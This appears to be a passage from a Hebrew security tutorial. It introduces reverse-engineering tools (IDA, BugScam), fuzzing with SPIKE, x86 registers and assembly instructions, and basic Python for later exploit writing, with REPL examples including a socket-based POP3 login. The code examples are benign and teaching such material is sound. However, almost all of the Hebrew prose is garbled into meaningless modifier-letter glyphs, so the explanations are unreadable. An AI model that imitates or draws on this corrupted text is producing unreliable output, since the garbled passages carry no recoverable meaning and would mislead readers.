ˣ˞ ˫˧˶ˠ˞˟˧ˡ ˭ˣˠ˩ ˫˧˪˩˟ ˷ˬ˸˷ˢ˪ ˭˸˧ˮ-Disassembles ˶˪˟ˬ˯˞ ˸ˣ˞˶ˣˢ˪ ˧˶˞ˮ˧˟ ˳˟ˣ˵ ˶˧ˬˢ˪ ˧ˡ˩ , ˡ˥˞

˧˧˶˞˪ˣ˲ˣ˲ˢ ˫˧˪˩ˢ ˫ ˞˶˵ˮIDA ,ˢ˶˟˥ˢ ˶˸˞ˬ ˷ˣˬ˧˷˪ ˸˧˷˲ˣ˥ ˢ˯˶ˠ ˡ˧˶ˣˢ˪ ˭˸˧ˮˣ: 

http://www.hex-rays.com/idapro/idadownfreeware.htm 

 

 ˢˮ˩ˣ˸ˢIDA ˸ˣ˞˶ˣˢˢ ˪˷ ˢˬ˧˶ˤ ˫˧˷˶˸ ˸˶ˣ˴˟ ˰ˡ˧ˬˢ ˸˞ ˠ˧˴ˢ˪ ˢ˪ˣ˩˧ , ˸ˣ˧˶˲˯ ˸ˣ˧˴˵ˮˣ˲ ˣ˪˧˞

ˡˣ˰ˣ ˷ˣˬ˧˷˟ ˸ˣ˞˴ˬˮ ˸ˣˤˣ˶˥ˬˣ... 

 

 

 

 

http://www.hex-rays.com/idapro/idadownfreeware.htm
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˰ ˶˴ˣˮ˷ ˶˪˟ˬ˯˞ˢ ˡˣ˵˟ ˶˴˵ ˦ˣ˦˧˷ ˶˥˞˪"˧ IDA ˣˮ˪˷ ˢ˰˧ˠ˲ˢ ˢ˧˴˵ˮˣ˲ˢ ˸˞ ˞ˣ˴ˬ˪ ˭˸˧ˮ: 

 

IDA ˴˧˲ ˭ˣˬˢ ˫˰ ˵ˤ˥ ˡˣ˞ˬ ˧˪˩ ˞˧ˢ'ˢ˟˥˶ˢ ˸ˣ˧ˣ˶˷˲˞ˣ ˫˧˶. 

 ˸ˣ˧˴˵ˮˣ˲ ˪˰ ˣ˰˧˶˸˧ˣ ˶˪˟ˬ˯˞ˢ ˡˣ˵ ˪˰ ˢ˶˧˵˯ ˣ˰˴˟˧˷ ˫˧˟˶ ˫˧˦ˬˣ˦ˣ˞ ˢ˵˧ˡ˟ ˧˪˩ ˫˧ˬ˧˧˵ ˣˤ ˢ˦˧˷˪ ˫ˠ

˭ˣˠ˩ ˸ˣ˧˸˧˧˰˟ :BugScam  - http://sourceforge.net/projects/bugscam/ 

BugScam  ˶ˣ˟˰ ˫˧˦˲˧˶˵˯ ˸˪˧˟˥ ˞˧ˢIDA. 

 

Fuzzing 

 

 ˸ˣˮ˩˪ ˭˸˧ˮ ˣˤ ˢ˦˧˷ ,Blackbox ˸ˣ˧˴˵ˮˣ˲ˢ ˸ˣ˪ˣ˰˲ ˪˰ ˰ˡ˧ˬ ˣˮ˪ ˭˧˞˷ ˞˧ˢ ˨˩˟ ˢˮˣˣ˩ˢ , ˪˰ ˣ˞ ˶ˣ˵ˬˢ ˡˣ˵

ˢˮ˩ˣ˸ˢ ˢˮ˟ˬ. 

 ˸˞˶˵ˮ˷ ˢ˦˧˷ ˢˮˣˬ˸˪ ˸˯ˮ˩ˮ ˭˞˩Fuzzing )˞˪ ˧ˮ˞ ˸˧˶˟˰˟ ˫˞ˣ˸ ˥ˮˣˬ ˶˧˩ˬ ,ˤˤ˲˪ ?J( 

 ˸ˣ˪ˠ˪ ˢˡ˰ˣˮ˷ ˢ˦˧˷ ˫˴˰˟ ˧ˢˣˤ"˸ˣˠ˧˶˥ " ˸ˣˮˣ˷ ˸ˣ˧˴˞˧˶ˣˣ˟ ˫˧ˮˣ˷ ˫˧˩˶ˣ˞ˣ ˫˧ˠˣ˯ˬ ˫˧ˮˣ˸ˮ ˸˥˧˪˷ ˧ˡ˧ ˪˰

ˢ˞˧ˠ˷ ˧ˢ˷ˣˤ˧˞ ˣˮ˪ ˶˧ˤ˥ˢ˪ ˢ˪ ˫ˣ˶ˠ˪ ˢ˯ˮ˸ˣ ˭ˢ˪ ˢ˲˴ˬ ˢˮ˧˞ ˢˮ˩ˣ˸ˢ˷. 

 ˪˷ ˫˧ˮˣ˷ ˫˧ˠˣ˯ ˫˧ˬ˧˧˵Fuzzers ˸ˣˮˣ˷ ˸ˣ˶˦ˬ˪ .ˣ˵ˣ˦ˣ˶˲ ˶ˣ˟˰ ˪˷ˬ˪ ˣˬ˩ ˭ˣˠ˩ ˫˧˪HTTP , ˧˟˧˩˶Activex ,

ˡˣ˰ˣ ˫˧˴˟˵ ˪˷ ˫˧˦ˬ˶ˣ˲... 

 

˟ ˡ˵ˬ˸ˮ ˣˮ˞ ˢˤ ˶ˬ˞ˬ˟-Fuzzer  ˫˷˟SPIKE ˨˷ˬˢ˟ ˣ˟ ˭ˣˡˮˣ. 

  

 

 

http://sourceforge.net/projects/bugscam/
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˶˪˟ˬ˯˞ ˸˴˵ 

 

ˤ ˱˯ ˸˲˷ ˞˧ˢ ˶˪˟ˬ˯˞ ˸˲˷"ˢˮˣ˩ˬ ˸˲˷˪ ˶˸ˣ˧˟ ˢ˟ˣ˶˵ˢ ˢ˲˷ˢ ˞˧ˢ˷ ˞. 

˫˧˶˲˯ˬ ˠˣ˴˧˧: 

   B - ˧˶˞ˮ˧˟ ,ˢˬˠˣˡ˪ :00001110B 

   H - ˧˪ˬ˧˴ˡ˯˵ˢ ,ˠˣˡ˪ˢˬ :45H 

   D - ˧˪ˬ˧˴ˡ ,ˢˬˠˣˡ˪ :25D 

 

˫˧˸˟ˣ ˫˧˦˧˟ 

   BIT ï ˰ ˠ˴ˣ˧ˬ ˦˧˟" ˧0  ˣ˞1 

   ˢˬˠˣˡ˪ :00000001  =1  ,00000010=2 

   BYTE -   ˪˧˩ˬ ˸˧˟8 ˫˧˦˧˟. 

   WORD ï  ˞˧ˢ ˢ˪˧ˬ2  ˫ˢ˷ ˫˧˸˟16 ˫˧˦˧˟. 

   DOUBLE WORD ï  ˞˧ˢ ˢ˪ˣ˲˩ ˢ˪˧ˬ2 ˪ ˨˶˰ ˸ˣˣ˷˷ ˫˧˪˧ˬ-32 ˦˧˟. 

 

˫˧˶ˠˣ˞: 

ˣ˞ˢ˫˧ˮˣ˸ˮ ˸˶˧ˬ˷˪ ˫˧˷ˬ˷ˬ ˫˧˶ˠ ,˸ˣ˧ˠˣ˪ ˸ˣ˪ˣ˰˲ˣ ˟ˣ˷˧˥ ˸ˣ˪ˣ˰˲ ˰ˣ˴˧˟˪ , ˭ˣ˶˩˧ˤˢ ˪˞ ˫˧ˮˣ˸ˮ ˸˶˟˰ˢ

ˡˣ˰ˣ ˣˮˬˬˣ... 

8Bit (8-15) 8Bit (0-7) 16Bit 32Bit 

AH AL AX EAX 

BH BL BX EBX 

CH CL CX ECX 

DH DL DX EDX 

  SP ESP 

  BP EBP 

  SI ESI 

  DI EDI 

  IP EIP 
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˧˪˪˩ ˫˧˶ˠˣ˞˫˧: 

   EAX ï ˣ˦˞˪ˣˬˣ˵˞ ˶, ˫˧˶˲˯ˬ ˫ˣ˩˧˯˪ˣ ˟ˣ˷˧˥ ˸ˣ˪ˣ˰˲˪ ˣ˟ ˫˧˷ˬ˸˷ˬ)˶ˣ˟˧˥ ˭ˣˠ˩ ˸ˣ˪ˣ˰˲,˶ˣ˯˧˥.( 

   EBX ï ˯˧˯˟ˢ ˶ˠˣ˞ ,˫˧ˮˣ˸ˮ ˸˶˧ˬ˷˪ ˢˤ ˶ˠˣ˞˟ ˷ˬ˸˷ˢ˪ ˭˸˧ˮ. 

   ECX ï ˢˮˣˬˢ ˶ˠˣ˞ ,ˢ˦ˬ ˧˲˪˩ ˶˲ˣ˯ˣ ˢ˶˧˲˯˪ ˷ˬ˷ˬ. 

   EDX ï ˫˧ˮˣ˸ˮˢ ˶ˠˣ˞ , ˶˸ˣ˧ ˫˧˟˩˶ˣˬ ˫˧˟ˣ˷˧˥ ˶˷˲˞ˬ)˲˩ ˭ˣˠ˩,˪˵ˣ˪˧˥.( 

˫˧˰˧˟˴ˬ ˫˧˶ˠˣ˞: 

   ESI ï ˶ˣ˵ˬ ˰˧˟˴ˬ ˶ˠˣ˞ ,˷˵ˣ˟ˬ ˭ˣ˶˩˧ˤ ˞˸ ˸˟ˣ˸˩ ˪˰ ˰˧˟˴ˬ. 

   EDI ï ˡ˰˧ ˰˧˟˴ˬ ˶ˠˣ˞ ,˷˵ˣ˟ˬ ˭ˣ˶˩˧ˤ ˞˸ ˸˟ˣ˸˩ ˪˰ ˰˧˟˴ˬ. 

   EBP ï ˯˧˯˟ˢ ˰˧˟˴ˬ ,˸˧ˮ˯˥ˬˢ ˭ˣ˶˩˧ˤˢ ˧˞˸ ˸˟ˣ˸˩ ˪˰ ˰˧˟˴ˬ. 

   ESP ï ˸˧ˮ˯˥ˬˢ ˰˧˟˴ˬ ,ˬˢ ˢ˴˵˟ ˭ˣ˶˩˧ˤˢ ˞˸ ˸˟ˣ˸˩ ˪˰ ˰˧˟˴ˬ˸˧ˮ˯˥. 

   EIP ï ˢˡˣ˵˲ ˰˧˟˴ˬ ,˰ˣ˴˧˟˪ ˢ˞˟ˢ ˢ˞˶ˣˢˢ ˪˷ ˸˟ˣ˸˩ˢ ˧ˢˣˤ. 

 

˸ˣ˧˯˧˯˟ ˸ˣˡˣ˵˲ ˶˧˟˥˸ ˸ˣ˞ˬˠˣˡˣ: 

   MOV ï ˶˥˞ ˫ˣ˵ˬ˪ ˡ˥˞ ˫ˣ˵ˬˬ ˭ˣ˸ˮ ˸˵˸˰ˢ: 

MOV EDX,42 

MOV EBP,ESP 

 

   INC ï ˟ ˶ˠˣ˞ˢ ˨˶˰ ˸˪ˡˠˢ-1 ˡ˟˪˟: 

INC EDX  

 

   DEC ï ˟ ˶ˠˣ˞ˢ ˨˶˰ ˸˸˥˲ˢ-1 ˡ˟˪˟: 

DEC EDX 

 

   ADD ï ˶ˣ˟˧˥ ˸˪ˣ˰˲ ˰ˣ˴˧˟: 

ADD ECX,ECX 

ADD ECX,8  

 

   SUB ï ˶ˣ˯˧˥ ˸˪ˣ˰˲ ˰ˣ˴˧˟: 

SUB ESP,4  

 

   NOP ï (No Operation) ˶˟ˡ ˰˴˟˪ ˞˪ ˸˶ˬˣ˞ ˣˤ ˢˡˣ˵˲. 

   CMP ï ˫˧˩˶˰ ˧ˮ˷ ˭˧˟ ˢ˞ˣˣ˷ˢ ˸˰˴˟ˬ: 

CMP EAX,- 1 

 

   JMP ï ˟ ˶˥˞ ˫ˣ˵ˬ˪ ˸˧ˮ˩ˣ˸˟ ˢˡˣ˵˲ˢ ˢ˟˸˩ˮ ˣ˟ ˫ˣ˵ˬˬ ˫˧˞ˮ˸ ˞˪˪ ˢ˴˧˲˵ ˸ˡˣ˵˲˸˧ˮ˩ˣ˸: 

JMP 0040144E  

JMP ESP 

 

   CALL ï ˳ˣ˲˵˪ ˷˧ ˢ˧˪˞ ˢ˶ˣˡ˴ˣ˶˲ˢ ˫˷˟ ˢˣˣ˪ˬ ˢ˶ˣˡ˴ˣ˶˲˪ ˢ˞˧˶˵. 

CALL 00401290  

CALL ESP 
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 ˸˧ˮ˯˥ˬˢ(Stack) 

 

˫˧˧ˮˬˤ ˫˧ˮˣ˸ˮ ˸˶˧ˬ˷˪ ˢ˴˵ˣˬˢ ˟˷˥ˬˢ ˭ˣ˶˩˧ˤˬ ˵˪˥ ˞˧ˢ ˸˧ˮ˯˥ˬˢ. 

˭ˣˠ˩ ˫˧˶˵ˬ˪ ˡ˰ˣˮ ˸˧ˮ˯˥ˬ˟ ˷ˣˬ˧˷ˢ: 

¶ ˶˸ˣ˧ ˶˥ˣ˞ˬ ˫˶ˣˤ˥˞ˣ ˫˧ˮˣ˸ˮ ˸˶˧ˬ˷. 

¶ ˸ˣ˧ˮ˩ˣ˸ ˧˰˦˵ˣ ˸ˣ˶ˣˡ˴ˣ˶˲ ˭˧˟ ˫˧ˮˣ˸ˮ ˸˶˟˰ˢ˪. 

 ˸˦˧˷˟ ˰˴˟˸ˬ ˸˧ˮ˯˥ˬˢˬ ˫˶ˣˤ˥˞ˣ ˫˧ˮˣ˸ˮˢ ˸˶˧ˬ˷LIFO (Last in first out) ï  ˯ˮ˩ˮ˷ ˭ˣ˶˥˞ˢ ˭ˣ˸ˮˢ

˞˴ˣ˧˷ ˭ˣ˷˞˶ˢ ˞ˣˢ. 

˸ˣ˧˦ˮˣˣ˪˶ ˸ˣˡˣ˵˲: 

   PUSH ï ˷ˡ˥ ˨˶˰ ˸˧ˮ˯˥ˬ˪ ˢ˵˧˸˰ˬ ˣˤ ˢˡˣ˵˲. 

   POP   ï ˢ ˭ˣ˸ˮˢ ˸˞ ˸˧ˮ˯˥ˬˢˬ ˸˲˪ˣ˷ ˣˤ ˢˡˣ˵˲ˢ˧˪˞ ˯ˮ˩ˣˢ˷ ˭ˣ˶˥˞. 

 

 

˶˸˞ˢˬ ˥˵˪ˮ ˶ˣ˧˞ :http://sir.unl.edu/portal/bios/Stack-m6c5da6f8.png 

 

http://sir.unl.edu/portal/bios/Stack-m6c5da6f8.png
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Python ˟-5 ˸ˣ˵ˡ 

 

˫˧ˬ˴˰ ˸˧˥ˮˣˬ ˠˮ˧˦˲˧˶˵˯ ˸˲˷ ˞˧ˢ ˭ˣ˸˧˧˲ ,˴˰ ˢˡ˧ˬ˪˪ˣ ˢ˞˧˶˵ ˢ˟˧˸˩˪ ˢ˪˵ ˧ˡ ˞˧ˢ ˣˤ ˢ˲˷˸˧ˬ. 

˶˸˞˟ ˶˵˟˪ ˳˪ˬˣˬ ˣˤ ˢ˲˷˟ ˥ˣ˸˧˲ ˡˣˬ˪˪ ˫˩ˮˣ˴˶˟ ˫˞ : 

http://vlib.eitan.ac.il/python/ 

˯˧˯˟ˢ ˪˰ ˶ˣ˟˰˪ ˞˧ˢ ˶ˬ˞ˬ˟ ˢˤ ˵˶˲ ˸˶˦ˬ ,ˢ ˥ˣ˸˧˲˪ ˣˮ˪ ˸ˣ˷ˣ˶ˡˢ ˸ˣ˧˴˵ˮˣ˲ˢˣ ˸ˣˡˣ˵˲ˢ ˶˧˟˥˸ ˪˰-

Exploit. 

˟ ˫˧˷ˬ˸˷ˬ ˫˩ˮˢˣ ˢˡ˧ˬ˟-BackTrack4 ˷ˣˬ˧˷˪ ˢˮ˩ˣˬˣ ˸ˮ˵˸ˣˬ ˶˟˩ ˭ˣ˸˧˧˲. 

˸˩˶˰ˬ˟ ˢˬˣ˵˧ˬ ˸˞ ˶˸˞ˮ ˢ˪˧˥˸: 

 

 

˭ˢ˟ ˷ˬ˸˷ˮ˷ ˸ˣˡˣ˵˲ˢˬ ˵˪˥ ˪˰ ˦˟ˬ ˱˧˰ˮ ˫˧˦˲˧˶˵˯ ˸˟˧˸˩˪ ˪ˣ˪˴ˮ˷ ˧ˮ˲˪ ˢ ˸˞ ˪˧˰˲ˮ ˨˩ ˫˷˪ˣ-

interpreter ˰" ˢˡˣ˵˲ˢ ˸˴˶ˢ ˧python. 

 

 

 

 

ˣˮˣ˧˯˧ˮ ˰˴˟˪ ˪˩ˣˮ ˢ˟˷ ˢ˟˧˟˯ˢ ˧ˢˣˤ ˸ ˣˮ˪˷ ˶˧˟˥˸˪ˣ ˡˣ˵˪ ˢ˵˧ˡ˟ˣ˦˲˧˶˵˯˟ ˣ˸ˣ˞ ˫˧˰˧ˬ˦ˬ ˣˮ˞˷ ˧ˮ˲˪. 

˫˧ˮ˸˷ˬ ˫˰ ˢˡˣ˟˰˟ ˪˧˥˸ˮ ,˫˸˶˧˴˧ ,˫˸˲˧˪˷ˣ ˫˧ˮˣ˸ˮ ˸˟˴ˢ. 

 ˢˬˠˣˡ1: 

 

 

 

 ˫˷˟ ˢˮ˸˷ˬ ˣˮ˶˴˧site  ˭ˬ˧˯ˢ ˸ˣ˰˴ˬ˞˟ ˦˯˵˦ ˸ˤˣ˶˥ˬ ˣ˟ ˣˮ˟˴ˢˣ= 

) ˫˧˧˷˶ˠ ˭˧˟ ˟˧˴ˢ˪ ˷˧ ˦˯˵˦ ˸ˣˤˣ˶˥ˬ " "˸ˤˣ˶˥ˬˢ ˱ˣ˯˟ˣ ˸˪˧˥˸˟(. 

˸ˣ˰˴ˬ˞˟ ˢˮ˸˷ˬˢ ˭˩ˣ˸ ˸˞ ˣˮ˯˲ˡˢ ˭˩ˬ ˶˥˞˪  ˢˡˣ˵˲ˢprint ˢˮ˸˷ˬˢ ˫˷ˣ. 

root@Blackbox:~# which python  

/usr/bin/python  

root@Blackbox:~# python  

Python 2.5.2 (r252:60911, Oct  5 2008, 19:24:49 ( 

]GCC 4.3.2] on linux2  

Type "help", "copyright", "credits" or "license" for more 

information . 

>>> 

>>> si te = "http://www.digitalwhisper.co.il " 

>>> print site  

http://www.digitalwhisper.co.il  

http://vlib.eitan.ac.il/python/
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 ˢˬˠˣˡ2: 

 

 

 

 

˫˧ˮ˸˷ˬ ˧ˮ˷ ˣˮ˶˴˧ ˣˤ ˢˬˠˣˡ˟ ,ˢ˥˲˷ˬ ˫˷ ˪˧˩ˬ ˧ˮ˷ˢˣ ˧˦˶˲ ˫˷ ˪˧˩ˬ ˡ˥˞ , ˢˮ˸˷ˬ˟ ˣˮ˟˴ˢ ˫ˢ˧ˮ˷ ˸˞

 ˫˷˟ ˱˯ˣˮfullname ˰ ˫˸ˣ˞ ˣˮ˶˟˧˥ˣ" ˭ˬ˧˯ˢ ˧+ ,ˢˮ˸˷ˬˢ ˪˷ ˣˮ˩ˣ˸ ˸˞ ˣˮ˯˲ˡˢ ˭˩ˬ ˶˥˞˪. 

˦˯˵˦ ˸ˣˤˣ˶˥ˬ ˶ˣ˷˶˷˪ ˸˲˯ˣˮ ˢˬˠˣˡ ˭˪ˢ˪: 

 ˢˬˠˣˡ3: 

 

 

 

 

˫˧˶˲˯ˬ ˫˰ ˢˡˣ˟˰: 

 ˢˬˠˣˡ4: 

 

 

 

 

 

 

 

ˮˢ ˢˬˠˣˡ˟"˶ˣ˟˧˥ ˭ˣˠ˩ ˸ˣ˪ˣ˰˲ ˸ˣ˞˶˪ ˭˸˧ˮ ˪ ,˪˲˩ˣ ˶ˣ˯˧˥ . ˷˧ ˸ˣ˧ˮˣ˟˷˥ ˸ˣ˪ˣ˰˲ ˫˧˰˴˟ˬˣ ˶˷˞˩˷ ˭˟ˣˬ˩

˪˟ˣ˵ˬˢ ˶ˡ˯˟ ˸ˣ˪ˣ˰˲ˢ ˸˞ ˰˴˟˪ .˸˶ˬˣ˞ ˸˞ˤ ,ˣ˩ˣ ˶ˣ˯˧˥ˣ ˶ˣ˟˧˥˪ ˫˧ˬˡˣ˵ ˵ˣ˪˧˥ˣ ˪˲˩'... 

 

>>>fname = "Jhon " 

>>> lname = "Doe " 

>>> fullname = fname + lname  

>>> print fullname  

JhonDoe  

 >>>text = "this  "  

>>> text+= "is  "  

 >>> text+="another  "  

 >>>text+="  ex ample " 

>>> print text  

this is another example  

>>> num1=5 

>>> num2=7 

>>> sum=num1+num2 

>>> print sum  

12 

>>> sum=num2- num1 

>>> print sum  

2 

>>> sum=num1 * num2  

>>> print sum  

35 
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 ˢˬˠˣˡ5: 

 

 

ˣˢ˷ ˫˧˪ˣˡˣˬ˟ ˷ˬ˸˷ˢ˪ ˭˸˧ˮ ˭ˣ˸˧˧˲˟˸ˣˮˣ˷ ˸ˣ˪ˣ˰˲ ˶ˣ˟˰ ˷˞˶ˬ ˣˮ˩ , ˶ˣ˟˰ ˸ˣ˧˴˵ˮˣ˲ ˫˧˪˧˩ˬ ˫˧˪ˣˡˣˬˢ

˸˷˶˟ ˢˡˣ˟˰ ˸ˣ˪ˣ˩˧ ˭ˣˠ˩ ˸ˣ˪ˣ˰˲,ˣ˩ˣ ˶˞ˣˡ ˧˸˶˷ ˫˰ ˢˡˣ˟˰'... 

 ˞ˣ˟˧˧˸˩˶˰ˬ ˸ˣˡˣ˵˲ ˸˪˰˲ˢˣ ˫˧˪ˣˡˣˬ: 

 ˢˬˠˣˡ6: 

˫˧˪ˣˡˣˬ ˞ˣ˟˧˧:  

 

 

 

 

 

ˮˢ ˢˬˠˣˡ˟"  ˢˡˣ˵˲ˢ ˸ˣ˰˴ˬ˞˟ ˫˧˪ˣˡˣˬ ˧ˮ˷˪ ˞ˣ˟˧˧ ˣˮ˰˴˧˟ ˪import ˪ˣˡˣˬˢ ˫˷ˣ. 

˪˵:˦ 

˭ˣ˸˧˧˲˟ ˦˪˵: 

 ˧ˡ˩ ˦˲˧˶˵˯˪ ˰ˡ˧ˬ ˵˲˯˪ ˣˮˬˬ ˷˵˟˪ ˢ˴˶ˮ ˷ˬ˸˷ˬ˪ ˫˧˧˟˧˦˵˞˶˦ˮ˧˞ ˣ˧ˢ˧ ˣˮ˪˷ ˫˧˦˲˧˶˵˯ˢ˷ ˸ˮˬ ˪˰

˨˷ˬˢ˟ ˣ˸ˣ˞ ˡ˟˰˪ ˪˩ˣˮ˷. 

˸ˣˬ˧˧˵ ˦˪˵ ˸˪˟˵˪ ˸ˣ˦˧˷ ˧˸˷: 

1  .raw_input ï ˦˯˵˦ ˸ˣˤˣ˶˥ˬ ˶ˣ˟˰. 

2  .input ï ˫˧˶˲˯ˬ ˶ˣ˟˰. 

 

 ˢˬˠˣˡ7 )˸ˣˤˣ˶˥ˬ ˦˪˵(: 

 

 

 

 

 >>>print (4 * 5) -  5 

15 

>>> import sys  

>>> import os  

 >>>os.system("ping - c 1 8.8.8.8 ")  

PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data . 

64 bytes from 8.8.8.8: icmp_seq=1 ttl=51 time=89.0 ms  

--- 8.8.8.8 ping statistics  ---  

1 packets transmitted, 1 received, 0% packet loss, time 0ms  

rtt min/avg/max/mdev = 89.005/89.005/89.005/0.000 ms  0  

>>> input = raw_input("Enter your name : ")  

Enter your name: Shai  

>>> print input  

Shai  
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 ˢˬˠˣˡ8 )ˬ ˦˪˵˫˧˶˲˯(: 

 

 

 

 

˸ˤˣ˶˥ˬ˪ ˶˲˯ˬ ˸˶ˬˢ: 

 ˢˬˠˣˡ9: 

 

 

 

 

 

 

ˮˢ ˢˬˠˣˡ˟"˫˧ˮ˸˷ˬ ˧ˮ˷ ˣˮ˶˴˧ ˪ , ˡ˥˞ˢhost  ˧ˮ˷ˢˣ ˸ˤˣ˶˥ˬ ˶ˣ˟˰port ˶˲˯ˬ ˶ˣ˟˰. 

ˢ˞˧ˠ˷ˢ ˸˪˟˵˸ˬ ˫˧ˮ˸˷ˬˢ ˧ˮ˷ ˸˞ ˶˟˥˪ ˫˧˯ˮˬ ˣˮ˞ ˶˷˞˩˷ ˟˪ ˣˬ˧˷: 

TypeError: cannot concatenate 'str' and 'int' objects  

 ˸˞ ˶˟˥˪ ˪˩ˣˮ˷ ˸ˮˬ ˪˰ ˢˮ˸˷ˬˢ ˸˞ ˢˤˢ ˢ˶˵ˬ˟ ˶˧ˬˢ˪ ˨˶˦˴ˮ ˫ˮ˩ˣ˸ ˸˞ ˠ˧˴ˢ˪ˣ ˫˧ˮ˸˷ˬˢ ˧ˮ˷port 

˰ ˸ˤˣ˶˥ˬ˪" ˢˡˣ˵˲ˢ ˧str(port). 

˶˲˯ˬ˪ ˸ˤˣ˶˥ˬ ˸˶ˬˢ: 

 ˢˬˠˣˡ10: 

 

 

 

 

 

>>> num1 = input("input first number: ")  

input first number: 5  

>>> num2 = input("input second number: ")  

input second number: 4  

>>> print num1+num2  

9 

>>> host = "digit alwhisper.co.il"  

>>> port = 80  

>>> print host + port  

Traceback (most recent call last):  

  File "<stdin>", line 1, in <module>  

TypeError: cannot concatenate 'str' and 'int' objects  

>>> print host + str(port)  

digitalwhisper.co.il80  

>>> num1 = "10"  

>>> num2 = 10  

>>> print num1 + num2  

Traceback (most recent call last):  

  File "<stdin>", line 1, in <module>  

TypeError: cannot concatenate 'str' and 'int' objects  

>>> print int(num1) + num2  

20 
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 ˫˧ˮ˸˷ˬ ˧ˮ˷ ˣˮ˶˴˧ ˸ˬˡˣ˵˟ ˣˬ˩ ˣˤˢ ˢˬˠˣˡ˟ ˫ˠnum1 ˸ˤˣ˶˥ˬ˩  x-num2 ˶˲˯ˬ˩. 

˸˞ ˪˟˵ˮ ˫˸˞˴ˣ˸ ˸˞ ˪˟˵˪ ˧ˡ˩ ˫˧ˮ˸˷ˬˢ ˧ˮ˷ ˸˞ ˶˟˥˪ ˢ˯ˮˮ ˶˷˞˩ ˢ˞˧ˠ˷ˢ: 

TypeError: cannot concatenate 'str' and 'int' objects  

 

 ˢˮ˸˷ˬˢ ˸˞ ˨ˣ˲ˢ˪ ˧ˡ˩num1  ˷ˬ˸˷ˢ˪ ˨˶˦˴ˮ ˸ˣ˧ˮˣ˟˷˥ ˸ˣ˪ˣ˰˲˪ ˣ˟ ˷ˬ˸˷ˢ˪ ˪˩ˣˮ˷ ˧ˡ˩ ˶˲˯ˬ˪

ˢˡˣ˵˲˟ :int(num1). 

˫˧˴˟˵˪ ˢ˟˧˸˩: 

 

 

 

 ˸ˤˣ˶˥ˬˢ ˸˞ ˫˧˟˧˴ˬ ˣˮ˞ ˢˮˣ˷˞˶ˢ ˢˡˣ˵˲˟"Hello world!" ˫˷˟ ˢˮ˸˷ˬ˟ text  

ˢˡˣ˵˲ ˫˷˟ ˳˟ˣ˵ ˸˥˸ˣ˲ ˢ˧˧ˮ˷ hello.txt  ˢ˟˧˸˩˪. 

 ˢˮ˸˷ˬˢ ˭˩ˣ˸ ˸˞ ˳˟ˣ˵˪ ˸˟˸ˣ˩ ˸˧˷˧˪˷ ˢˡˣ˵˲text. 

˷ˣˬ˧˷ ˟-Sockets 

 

 

 

 

 

 

 

 

 

 

 

 >>>text = "Hello world!  "  

 >>>file = open("hello.txt", 'w');  

 >>>file. write(text );  

 >>>file.close();  

>>> import socket  

>>> host = "mail.netvision.net.il"  

>>> port = 110  

>>> s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)  

>>> s.connect((host,port))  

>>> data=s.recv(1024)  

>>> print data  

+OK POP3 service  

>>> s.send('USER sh ai \ r \ n')  

>>> data=s.recv(1024)  

>>> print data  

+OK password required for user shai  

>>> s.send('PASS 1234 \ r \ n')  

>>> data=s.recv(1024)  

>>> print data  

- ERR [AUTH] User disabled, contact your system administrator 

for details  

>>> s.close()  
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ˮˢ ˡˣ˵ˢ ˪˷ ˶ˣ˞˧˟"ˢˮˣ˷˞˶ˢ ˢ˶ˣ˷ˢˬ ˪˥ˢ ˪: 

1 .  ˪ˣˡˣˬ ˞ˣ˟˧˧socket. 

2 .ˢ˧˪˞ ˶˟˥˸ˢ˪ ˣˮˮˣ˴˶˟˷ ˸˟ˣ˸˩ˢ ˸˞ ˪˧˩ˬ˷ ˢˮ˸˷ˬ. 

3 .ˡ˰˧ˢ ˦˶ˣ˲ ˸˞ ˪˧˩ˬ˷ ˢˮ˸˷ˬ. 

4. ˢ ˸˶˧˴˧-socket  ˫˷˟ ˢˮ˸˷ˬ˟ ˣ˸˟˴ˢˣs. 

5 .˰ ˧˲˪ ˣˮ˪˷ ˢ˶˦ˬ˪ ˶ˣ˟˧˥ ˰ˣ˴˧˟" ˫˧ˮ˸˷ˬˢ ˸˟˴ˢ ˧host ˦˶ˣ˲ˣ. 

6 . ˫˷˟ ˢˮ˸˷ˬ˪ ˸˶˷ˢ ˪˷ ˶ˮ˞˟ˢ ˸˪˟˵data. 

7 .˭˯˥ˣ˞ˬ˷ ˶ˮ˞˟ˢ ˸˯˲ˡˢ   ˢˮ˸˷ˬ˟data. 

8 . ˸˶˷˪ ˶ˣ˟˧˥ ˫˧˰˴˟ˬ ˣˮ˞ˣ ˭ˣˣ˧˩ˬPOP3  ˢˬ˯˧˯ˣ ˷ˬ˸˷ˬ ˫˷ ˸ˣ˰˴ˬ˞˟ ˸ˣˬ˧˞ ˣ˪ˣˬ ˰˴˟˪ ˢ˯ˮˮ

˟ ˸ˣ˰˴ˬ˞s.send 

s.send('USER shai \ r \ n')  

 

USER   ˸ˡˣ˵˲ ˞˧ˢPOP3  ˥˪˷ˮ ˭˩ˬ ˶˥˞˪ˣ ˸ˣˬ˧˞ ˰˴˟ˮ ˣ˸˧˞˷ ˷ˬ˸˷ˬˢ ˫˷ ˢ˧˶˥˞ˣ\ r \ n: 

\ r ï  ˶˦ˮ˞)(carriage return. 

\n ï ˢ˷ˡ˥ ˢ˶ˣ˷ ˸ˣ˰ˬ˷ˬˢ. 

 

9 . ˢˮ˸˷ˬ˪ ˸˶˷ˢ ˸˟ˣˠ˸ ˸˞ ˪˟˵ˮ ˟ˣ˷data ˨˯ˬ˪ ˣ˯˧˲ˡˮˣ. 

10 . ˱ˣ˯˟˪ˣ ˢˬ˯˧˯ˢ ˶ˣ˟˰ ˫ˠ ˨˧˷ˬˮ ˨˩ˢ ˸˞ ˶ˣˠ˯ˮ-Socket. 

 

 ˸˟˧˸˩ˢ˦˲˧˶˵˯: 

ˢˬ ˢ˞˧˴˧ ˰˴˟ˮ ˶˷˞˩-Interpreter ˫˷ ˣˮˤˢ˷ ˸ˣˡˣ˵˲ˢˣ ˫˧ˮˣ˸ˮˢ ˪˩ ˸˞ ˡ˟˞ˮ ˣˮ˞ ˭ˣ˸˧˧˲ ˪˷ 

˫˧ˡ˥ˣ˧ˬ ˫˧˪˩ ˸˷˶ˣˡ ˢˮ˧˞ ˫˧˪ˣˡˣˬˢˣ ˸ˣ˧˴˵ˮˣ˲ˢ ˪˩ ˸˞ ˪˧˩˧˷ ˦˲˧˶˵˯ ˸˟˧˸˩ , ˪˩˟ ˷ˬ˸˷ˢ˪ ˭˸˧ˮ

